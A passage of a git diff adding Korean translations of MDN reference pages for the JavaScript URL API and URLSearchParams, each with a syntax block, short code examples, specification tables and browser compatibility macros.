+   <td>Added the static methods <code>URL.createObjectURL()</code> and <code>URL.revokeObjectURL</code><code>()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('URL', '#api', 'API')}}</td>
+   <td>{{Spec2('URL')}}</td>
+   <td>Initial definition (implements <code>URLUtils</code>).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.URL")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/URL_API">URL API</a></li>
+ <li>{{domxref("URLSearchParams")}}.</li>
+</ul>
diff --git a/files/ko/web/api/url/origin/index.html b/files/ko/web/api/url/origin/index.html
new file mode 100644
index 0000000000..f3817e0285
--- /dev/null
+++ b/files/ko/web/api/url/origin/index.html
@@ -0,0 +1,61 @@
+---
+title: URL.origin
+slug: Web/API/URL/origin
+tags:
+  - API
+  - Property
+  - Read-only
+  - Reference
+  - URL
+  - URL API
+translation_of: Web/API/URL/origin
+---
+<div>{{APIRef("URL API")}}</div>
+
+<p><span class="seoSummary">{{domxref("URL")}} 인터페이스의 <strong><code>origin</code></strong> 읽기 전용 속성은 표현 중인 URL의 출처를 유니코드로 직렬화한 {{domxref("USVString")}}을 반환합니다.</span> 정확한 구조는 URL의 유형에 따라 다릅니다.</p>
+
+<ul>
+ <li><code>http</code> 또는 <code>https</code> URL은 스킴 뒤 <code>'://'</code>, 도메인, <code>':'</code>, 마지막으로 포트(명시적으로 지정한 경우)로 구성됩니다.</li>
+ <li><code>file:</code> URL은 브라우저마다 다릅니다.</li>
+ <li><code>blob:</code> URL은 <code>blob:</code> 뒤의 URL 출처를 반환합니다. 예를 들어, <code>"blob:https://mozilla.org"</code>인 경우 <code>"https://mozilla.org"</code>를 반환합니다.</li>
+</ul>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>originString</em> = <em>url</em>.origin
+</pre>
+
+<h3 id="값">값</h3>
+
+<p>A {{domxref("USVString")}}.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">const url = new URL("blob:https://mozilla.org:443/")
+console.log(url.origin); // Logs 'https://mozilla.org'
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('URL', '#dom-url-origin', 'URL.origin')}}</td>
+   <td>{{Spec2('URL')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.URL.origin")}}</p>
diff --git a/files/ko/web/api/url/password/index.html b/files/ko/web/api/url/password/index.html
new file mode 100644
index 0000000000..f944abf326
--- /dev/null
+++ b/files/ko/web/api/url/password/index.html
@@ -0,0 +1,61 @@
+---
+title: URL.password
+slug: Web/API/URL/password
+tags:
+  - API
+  - Property
+  - Reference
+  - URL
+  - URL API
+translation_of: Web/API/URL/password
+---
+<div>{{ApiRef("URL API")}}</div>
+
+<p>{{domxref("URL")}} 인터페이스의<strong> <code>password</code></strong> 속성은 도메인 이름 이전의 비밀번호를 포함한 {{domxref("USVString")}}을 반환합니다.</p>
+
+<p>{{domxref("URL.username", "username")}} 설정 전에 <code>password</code>를 먼저 지정하려 시도하면 조용히 실패합니다.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>passwordString</em> = <em>url</em>.password
+<em>url</em>.password = <em>newPassword</em></pre>
+
+<h3 id="값">값</h3>
+
+<p>{{domxref("USVString")}}.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">const url = new URL('https://anonymous:flabada@developer.mozilla.org/en-US/docs/Web/API/URL/password');
+console.log(url.password) // Logs "flabada"</pre>
+
+<h2 id="구문_2">구문</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('URL', '#dom-url-password', 'URL.password')}}</td>
+   <td>{{Spec2('URL')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.URL.password")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>속성이 속한 {{domxref("URL")}} 인터페이스.</li>
+</ul>
diff --git a/files/ko/web/api/url/pathname/index.html b/files/ko/web/api/url/pathname/index.html
new file mode 100644
index 0000000000..9f097eda83
--- /dev/null
+++ b/files/ko/web/api/url/pathname/index.html
@@ -0,0 +1,60 @@
+---
+title: URL.pathname
+slug: Web/API/URL/pathname
+tags:
+  - API
+  - Property
+  - Reference
+  - URL
+  - URL API
+translation_of: Web/API/URL/pathname
+---
+<div>{{ApiRef("URL API")}}</div>
+
+<p>{{domxref("URL")}} 인터페이스의 <strong><code>pathname</code></strong> 속성은 URL의 경로와 그 앞의 <code>/</code>로 이루어진 {{domxref("USVString")}}을 반환합니다. 경로가 없는 경우 빈 문자열을 반환합니다.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>path</em> = <em>url</em>.pathname
+<em>url</em>.pathname = <em>newPath</em></pre>
+
+<h3 id="값">값</h3>
+
+<p>{{domxref("USVString")}}.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">var url = new URL('https://developer.mozilla.org/ko/docs/Web/API/URL/pathname?q=value');
+var result = url.pathname; // Returns:"/ko/docs/Web/API/URL/pathname"
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('URL', '#dom-url-pathname', 'URL.pathname')}}</td>
+   <td>{{Spec2('URL')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.URL.pathname")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>속성이 속한 {{domxref("URL")}} 인터페이스.</li>
+</ul>
diff --git a/files/ko/web/api/url/port/index.html b/files/ko/web/api/url/port/index.html
new file mode 100644
index 0000000000..a461130387
--- /dev/null
+++ b/files/ko/web/api/url/port/index.html
@@ -0,0 +1,61 @@
+---
+title: URL.port
+slug: Web/API/URL/port
+tags:
+  - API
+  - Property
+  - Reference
+  - URL
+  - URL API
+translation_of: Web/API/URL/port
+---
+<div>{{ApiRef("URL API")}}</div>
+
+<p>{{domxref("URL")}} 인터페이스의 <strong><code>port</code></strong> 속성은 URL의 포트 숫자를 담은 {{domxref("USVString")}}입니다. URL이 명시적인 포트 번호를 포함하고 있지 않으면 빈 문자열(<code>''</code>)입니다.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>portNumber</em> = <em>url</em>.port
+<em>url</em>.port = <em>newPortNumber</em>
+</pre>
+
+<h3 id="값">값</h3>
+
+<p>A {{domxref("USVString")}}.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">const url = new URL('<span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="cm-string">https://mydomain.com:80/svn/Repos/</span></span></span></span>');
+console.log(url.port); // Logs '80'
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('URL', '#dom-url-port', 'URL.port')}}</td>
+   <td>{{Spec2('URL')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.URL.port")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>속성이 속한 {{domxref("URL")}} 인터페이스.</li>
+</ul>
diff --git a/files/ko/web/api/url/protocol/index.html b/files/ko/web/api/url/protocol/index.html
new file mode 100644
index 0000000000..2d96b9eeec
--- /dev/null
+++ b/files/ko/web/api/url/protocol/index.html
@@ -0,0 +1,61 @@
+---
+title: URL.protocol
+slug: Web/API/URL/protocol
+tags:
+  - API
+  - Property
+  - Reference
+  - URL
+  - URL API
+translation_of: Web/API/URL/protocol
+---
+<div>{{ApiRef("URL API")}}</div>
+
+<p>{{domxref("URL")}} 인터페이스의 <strong><code>protocol</code></strong> 속성은 URL의 프로토콜 스킴과 마지막 <code>':'</code>을 포함한 {{domxref("USVString")}}입니다.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>protocol</em> = <em>url</em>.protocol
+<em>url</em>.protocol = <em>newProtocol</em>
+</pre>
+
+<h3 id="값">값</h3>
+
+<p>{{domxref("USVString")}}.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">const url = new URL('https://developer.mozilla.org/en-US/docs/Web/API/URL/protocol');
+console.log(url.protocol); // Logs "https:"
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('URL', '#dom-url-protocol', 'protocol')}}</td>
+   <td>{{Spec2('URL')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.URL.protocol")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>속성이 속한 {{domxref("URL")}} 인터페이스.</li>
+</ul>
diff --git a/files/ko/web/api/url/revokeobjecturl/index.html b/files/ko/web/api/url/revokeobjecturl/index.html
new file mode 100644
index 0000000000..7faa5e8bcc
--- /dev/null
+++ b/files/ko/web/api/url/revokeobjecturl/index.html
@@ -0,0 +1,68 @@
+---
+title: URL.revokeObjectURL()
+slug: Web/API/URL/revokeObjectURL
+tags:
+  - API
+  - Method
+  - URL
+  - URL API
+translation_of: Web/API/URL/revokeObjectURL
+---
+<div>{{ApiRef("URL API")}}</div>
+
+<p><span class="seoSummary"><strong><code>URL.revokeObjectURL()</code></strong> 정적 메서드는 이전에 {{domxref("URL.createObjectURL()") }}을 통해 생성한 객체 URL을 해제합니다.</span> 객체 URL을 더는 쓸 일이 없을 때 사용해서, 브라우저가 이제 해당 객체를 메모리에 들고 있지 않아도 된다고 알려주세요.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<div class="note">
+<p><strong>참고:</strong> 이 기능은 {{domxref("Blob")}} 인터페이스의 생명 주기 문제와 잠재적인 메모리 누수 가능성으로 인해 <a href="/ko/docs/Web/API/Service_Worker_API">Service Worker</a>에서 사용할 수 없습니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">URL.revokeObjectURL(<em>objectURL</em>)
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>objectURL </code></dt>
+ <dd>{{domxref("URL.createObjectURL", "createObjectURL()") }}을 통해 생성한 객체 URL을 나타내는 {{domxref("DOMString")}}.</dd>
+</dl>
+
+<ul>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<p><a href="/ko/docs/Web/API/File/Using_files_from_web_applications#예시_객체_URL을_사용하여_이미지_표시하기">객체 URL을 사용하여 이미지 표시하기</a>를 보세요.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('File API', '#dfn-revokeObjectURL', 'revokeObjectURL()')}}</td>
+   <td>{{Spec2('File API')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.URL.revokeObjectURL")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/File/Using_files_from_web_applications" title="Using files from web applications">웹 애플리케이션에서 파일 사용하기</a></li>
+ <li>{{domxref("URL.createObjectURL()")}}</li>
+</ul>
diff --git a/files/ko/web/api/url/search/index.html b/files/ko/web/api/url/search/index.html
new file mode 100644
index 0000000000..a67b8f44b4
--- /dev/null
+++ b/files/ko/web/api/url/search/index.html
@@ -0,0 +1,63 @@
+---
+title: URL.search
+slug: Web/API/URL/search
+tags:
+  - API
+  - Property
+  - Reference
+  - URL
+  - URL API
+translation_of: Web/API/URL/search
+---
+<div>{{ApiRef("URL API")}}</div>
+
+<p>{{domxref("URL")}} 인터페이스의 <strong><code>search</code></strong> 속성은 맨 앞의 <code>'?'</code>와 함께 URL의 쿼리 문자열, 즉 검색 매개변수를 나타내는 {{domxref("USVString")}}입니다.</p>
+
+<p>신형 브라우저에서는 {{domxref("URL.searchParams")}} 속성을 통해 간편한 쿼리 문자열 분석을 지원합니다.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>searchParams</em> = <em>object</em>.search
+<em>url</em>.search = <em>newSearchParams</em>
+</pre>
+
+<h3 id="값">값</h3>
+
+<p>{{domxref("USVString")}}.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js">const url = new URL('https://developer.mozilla.org/ko/docs/Web/API/URL/search?q=123');
+console.log(url.search); // Logs "?q=123"
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('URL', '#dom-url-search', 'URL.search')}}</td>
+   <td>{{Spec2('URL')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.URL.search")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>속성이 속한 {{domxref("URL")}} 인터페이스.</li>
+</ul>
diff --git a/files/ko/web/api/url/searchparams/index.html b/files/ko/web/api/url/searchparams/index.html
new file mode 100644
index 0000000000..b80d80c4a6
--- /dev/null
+++ b/files/ko/web/api/url/searchparams/index.html
@@ -0,0 +1,56 @@
+---
+title: URL.searchParams
+slug: Web/API/URL/searchParams
+tags:
+  - API
+  - Property
+  - Read-only
+  - Reference
+  - URL
+  - URLSearchParams
+translation_of: Web/API/URL/searchParams
+---
+<div>{{APIRef("URL API")}}</div>
+
+<p>{{domxref("URL")}} 인터페이스의 <strong><code>searchParams</code></strong> 읽기 전용 속성은 URL 내의 {{httpmethod("GET")}} 디코딩 된 쿼리 매개변수에 접근할 수 있는 {{domxref("URLSearchParams")}} 객체를 반환합니다.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>urlSearchParams</em> = <em>url</em>.searchParams</pre>
+
+<h3 id="값">값</h3>
+
+<p>{{domxref("URLSearchParams")}} 객체.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>페이지의 URL을 <code>https://example.com/?name=Jonathan%20Smith&amp;age=18</code>로 가정했을 때, <code>name</code>과 <code>age</code> 매개변수는 다음과 같이 가져올 수 있습니다.</p>
+
+<pre class="brush: js">let params = (new URL(document.location)).searchParams;
+let name = params.get('name'); // is the string "Jonathan Smith".
+let age = parseInt(params.get('age')); // is the number 18</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('URL', '#dom-url-searchparams', 'searchParams')}}</td>
+   <td>{{Spec2('URL')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.URL.searchParams")}}</p>
diff --git a/files/ko/web/api/url/tojson/index.html b/files/ko/web/api/url/tojson/index.html
new file mode 100644
index 0000000000..f5fbf7a972
--- /dev/null
+++ b/files/ko/web/api/url/tojson/index.html
@@ -0,0 +1,52 @@
+---
+title: URL.toJSON()
+slug: Web/API/URL/toJSON
+tags:
+  - API
+  - Method
+  - Reference
+  - URL
+  - URL API
+translation_of: Web/API/URL/toJSON
+---
+<div>{{APIRef("URL API")}}</div>
+
+<p>{{domxref("URL")}} 인터페이스의 <strong><code>toJSON()</code></strong> 메서드는 URL을 직렬화한 {{domxref("USVString")}}을 반환합니다. 그러나, 사실상 {{domxref("URL.toString", "toString()")}}과 같습니다..</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>href</em> = <em>url</em>.toJSON()</pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>{{domxref("USVString")}}.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">const url = new URL("https://developer.mozilla.org/en-US/docs/Web/API/URL/toString");
+url.toJSON(); // should return the URL as a string</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('URL', '#dom-url-tojson', 'toJSON()')}}</td>
+   <td>{{Spec2('URL')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.URL.toJSON")}}</p>
diff --git a/files/ko/web/api/url/tostring/index.html b/files/ko/web/api/url/tostring/index.html
new file mode 100644
index 0000000000..6a24393f4f
--- /dev/null
+++ b/files/ko/web/api/url/tostring/index.html
@@ -0,0 +1,59 @@
+---
+title: URL.toString()
+slug: Web/API/URL/toString
+tags:
+  - API
+  - Method
+  - Reference
+  - URL
+  - URL API
+translation_of: Web/API/URL/toString
+---
+<div>{{ApiRef("URL API")}}</div>
+
+<p><strong><code>URL.toString()</code></strong> 문자열화 메서드는 전체 URL을 담은 {{domxref("USVString")}}을 반환합니다. 사실상 읽기 전용 {{domxref("URL.href")}}인 셈입니다.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><em>href</em> = <em>url</em>.toString()</pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>{{domxref("USVString")}}.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js"><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="cm-keyword">const</span> <span class="cm-def">url</span> <span class="cm-operator">=</span> <span class="cm-keyword">new</span> <span class="cm-variable">URL</span>(<span class="cm-string">"https://developer.mozilla.org/ko/docs/Web/API/URL/toString"</span>);
+<span class="cm-variable">url</span>.<span class="cm-property">toString</span>(); // should return the URL as a string</span></span></span>
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('URL', '#URL-stringification-behavior', 'stringifier')}}</td>
+   <td>{{Spec2('URL')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.URL.toString")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>메서드가 속한 {{domxref("URL")}} 인터페이스.</li>
+</ul>
diff --git a/files/ko/web/api/url/url/index.html b/files/ko/web/api/url/url/index.html
new file mode 100644
index 0000000000..affcb467af
--- /dev/null
+++ b/files/ko/web/api/url/url/index.html
@@ -0,0 +1,107 @@
+---
+title: URL()
+slug: Web/API/URL/URL
+tags:
+  - API
+  - Constructor
+  - Reference
+  - URL
+  - URL API
+translation_of: Web/API/URL/URL
+---
+<div>{{APIRef("URL API")}}</div>
+
+<p><code><strong>URL()</strong></code> 생성자는 매개변수로 제공한 URL을 나타내는 새로운 {{domxref("URL")}} 객체를 반환합니다.</p>
+
+<p>주어진 기준 URL이나 결과 URL이 유효하지 않은 URL일 경우, JavaScript {{jsxref("TypeError")}} 예외가 발생합니다.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <var>url</var> = new URL(<var>url</var> [, <var>base</var>])
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code><var>url</var></code></dt>
+ <dd>절대 또는 상대 URL을 나타내는 {{domxref("USVString")}}. <code>url</code>이 상대 URL인 경우 <code>base</code> 매개변수를 기준 URL로 사용하므로 <code>base</code>도 필수로 지정해야 합니다. 절대 URL인 경우 <code>base</code>는 무시합니다.</dd>
+ <dt><code><var>base</var></code> {{optional_inline}}</dt>
+ <dd><code>url</code> 매개변수가 상대 URL인 경우 사용할 기준 URL을 나타내는 {{domxref("USVString")}}. 기본값은 <code>''</code>입니다.</dd>
+</dl>
+
+<div class="note">
+<p><strong>참고</strong>: <code>base</code>에는 기존에 존재하는 {{domxref("URL")}} 객체도 사용할 수 있습니다. 그러면 {{domxref("URI.href", "href")}} 속성을 사용해 스스로 문자열화합니다.</p>
+</div>
+
+<h3 id="예외">예외</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">예외</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{jsxref("TypeError")}}</td>
+   <td>절대 URL인 경우 <code>url</code>, 상대 URL인 경우 <code>base</code> + <code>url</code>이 유효하지 않은 URL인 경우.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">// Base urls
+let m = 'https://developer.mozilla.org';
+let a = new URL("/", m);                                // =&gt; 'https://developer.mozilla.org/'
+let b = new URL(m);                                     // =&gt; 'https://developer.mozilla.org/'
+
+        new URL('en-US/docs', b);                      // =&gt; 'https://developer.mozilla.org/en-US/docs'
+let d = new URL('/en-US/docs', b);                     // =&gt; 'https://developer.mozilla.org/en-US/docs'
+        new URL('/en-US/docs', d);                     // =&gt; 'https://developer.mozilla.org/en-US/docs'
+        new URL('/en-US/docs', a);                     // =&gt; 'https://developer.mozilla.org/en-US/docs'
+
+        new URL('/en-US/docs', "https://developer.mozilla.org/fr-FR/toto");
+                                                       // =&gt; 'https://developer.mozilla.org/en-US/docs'
+
+        new URL('/en-US/docs', '');                    // Raises a TypeError exception as '' is not a valid URL
+        new URL('/en-US/docs');                        // Raises a TypeError exception as '/en-US/docs' is not a valid URL
+        new URL('http://www.example.com', );           // =&gt; 'http://www.example.com/'
+        new URL('http://www.example.com', b);          // =&gt; 'http://www.example.com/'
+
+        new URL("//foo.com", "https://example.com")    // =&gt; 'https://foo.com' (see relative URLs)
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('URL', '#constructors', 'URL.URL()')}}</td>
+   <td>{{Spec2('URL')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.URL.URL")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>생성자가 속한 {{domxref("URL")}} 인터페이스.</li>
+</ul>
diff --git a/files/ko/web/api/url/username/index.html b/files/ko/web/api/url/username/index.html
new file mode 100644
index 0000000000..c102ea398c
--- /dev/null
+++ b/files/ko/web/api/url/username/index.html
@@ -0,0 +1,61 @@
+---
+title: URL.username
+slug: Web/API/URL/username
+tags:
+  - API
+  - Property
+  - Reference
+  - URL
+  - URL API
+translation_of: Web/API/URL/username
+---
+<div>{{ApiRef("URL API")}}</div>
+
+<p>{{domxref("URL")}} 인터페이스의 <strong><code>username</code></strong> 속성은 도메인 이전의 사용자 이름을 담은 {{domxref("USVString")}}을 반환합니다.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>usernameString</em> = <em>url</em>.username
+<em>url</em>.username = <em>newUsername</em>
+</pre>
+
+<h3 id="값">값</h3>
+
+<p>{{domxref("USVString")}}.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">const url = new URL('https://anonymous:flabada@developer.mozilla.org/en-US/docs/Web/API/URL/username');
+console.log(url.username) // Logs "anonymous"
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('URL', '#dom-url-username', 'username')}}</td>
+   <td>{{Spec2('URL')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.URL.username")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>속성이 속한 {{domxref("URL")}} 인터페이스.</li>
+</ul>
diff --git a/files/ko/web/api/urlsearchparams/index.html b/files/ko/web/api/urlsearchparams/index.html
new file mode 100644
index 0000000000..5491ad0b6f
--- /dev/null
+++ b/files/ko/web/api/urlsearchparams/index.html
@@ -0,0 +1,136 @@
+---
+title: URLSearchParams
+slug: Web/API/URLSearchParams
+tags:
+  - API
+  - Interface
+  - Reference
+  - URL API
+  - URLSearchParams
+translation_of: Web/API/URLSearchParams
+---
+<div>{{ApiRef("URL API")}}</div>
+
+<p><strong><code>URLSearchParams</code></strong> 인터페이스는 URL의 쿼리 문자열에 대해 작업할 수 있는 유틸리티 메서드를 정의합니다.</p>
+
+<p><code>URLSearchParams</code>를 구현하는 객체는 {{jsxref("Statements/for...of", "for...of")}} 반복문에 바로 사용할 수 있습니다.</p>
+
+<pre class="brush: js">for (const [key, value] of mySearchParams) {}
+for (const [key, value] of mySearchParams.entries()) {}
+</pre>
+
+<p>{{availableinworkers}}</p>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{domxref("URLSearchParams.URLSearchParams", 'URLSearchParams()')}}</dt>
+ <dd> <code>URLSearchParams</code> 객체 인스턴스를 반환합니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{domxref("URLSearchParams.append()")}}</dt>
+ <dd>특정 키/값을 새로운 검색 매개변수로 추가합니다.</dd>
+ <dt>{{domxref("URLSearchParams.delete()")}}</dt>
+ <dd>특정 매개변수를 찾아 키와 값 모두 지웁니다.</dd>
+ <dt>{{domxref("URLSearchParams.entries()")}}</dt>
+ <dd>객체의 모든 키/값 쌍을 순회할 수 있는 {{jsxref("Iteration_protocols","순회기")}}를 반환합니다.</dd>
+ <dt>{{domxref("URLSearchParams.forEach()")}}</dt>
+ <dd>객체의 모든 값을 순회하며 지정한 콜백을 호출합니다.</dd>
+ <dt>{{domxref("URLSearchParams.get()")}}</dt>
+ <dd>주어진 검색 매개변수에 연결된 첫 번째 값을 반환합니다.</dd>
+ <dt>{{domxref("URLSearchParams.getAll()")}}</dt>
+ <dd>주어진 검색 매개변수에 연결된 모든 값을 반환합니다.</dd>
+ <dt>{{domxref("URLSearchParams.has()")}}</dt>
+ <dd>주어진 검색 매개변수의 존재 여부를 나타내는 {{jsxref("Boolean")}}을 반환합니다.</dd>
+ <dt>{{domxref("URLSearchParams.keys()")}}</dt>
+ <dd>객체의 <strong>모든 키</strong>를 순회할 수 있는 {{jsxref("Iteration_protocols", "순회기")}}를 반환합니다.</dd>
+ <dt>{{domxref("URLSearchParams.set()")}}</dt>
+ <dd>주어진 검색 매개변수에 연결된 값을 설정합니다. 연결된 값이 다수라면 나머지는 제거합니다.</dd>
+ <dt>{{domxref("URLSearchParams.sort()")}}</dt>
+ <dd>모든 키/값 쌍을 키로 정렬합니다.</dd>
+ <dt>{{domxref("URLSearchParams.toString()")}}</dt>
+ <dd>URL에 쓰기 적합한 형태의 쿼리 문자열을 반환합니다.</dd>
+ <dt>{{domxref("URLSearchParams.values()")}}</dt>
+ <dd>객체의 <strong>모든 값</strong>을 순회할 수 있는 {{jsxref("Iteration_protocols", "순회기")}}를 반환합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">var paramsString = "q=URLUtils.searchParams&amp;topic=api";
+var searchParams = new URLSearchParams(paramsString);
+
+//Iterate the search parameters.
+for (let p of searchParams) {
+  console.log(p);
+}
+
+searchParams.has("topic") === true; // true
+searchParams.get("topic") === "api"; // true
